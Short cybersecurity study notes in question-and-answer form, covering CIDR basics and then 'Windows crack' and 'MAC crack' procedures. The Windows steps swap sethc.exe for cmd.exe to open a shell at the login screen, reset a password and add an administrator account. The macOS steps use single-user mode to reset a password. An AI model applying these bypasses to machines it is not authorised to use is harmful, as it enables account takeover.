CyberSecurity

Question 1

CIDR

Answer 1

CIDR is the short for Classless Inter-Domain Routing

Question 2

CIDR Range 192.16.0.1/24

Answer 2

Netmask	255.255.255.0
Wildcard Bits	0.0.0.255
First IP	192.16.0.0
Last IP	192.16.0.255
Total Host	256

Question 3

Windows crack

Answer 3

1. Use f2/f12 to boot from Windows Install Disk.
2. cd c:\windows\system32\
   copy sethc.exe sethc.bak (aplicación de detección de 5 pulsaciones de shift)
   copy cmd.exe sethc.exe
3. Restart computer. Press Shift key five times. CMD appears.
4. net user userexistingname newpassword
5. net user newusername newpass
6. net localgroup administrators newusername /add

Question 4

MAC crack

Answer 4

1. reboot
2. cmd+s
   /sbin/fsck -fy
   /sbin/mount -uw /
   launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.plist
   passwd
   exit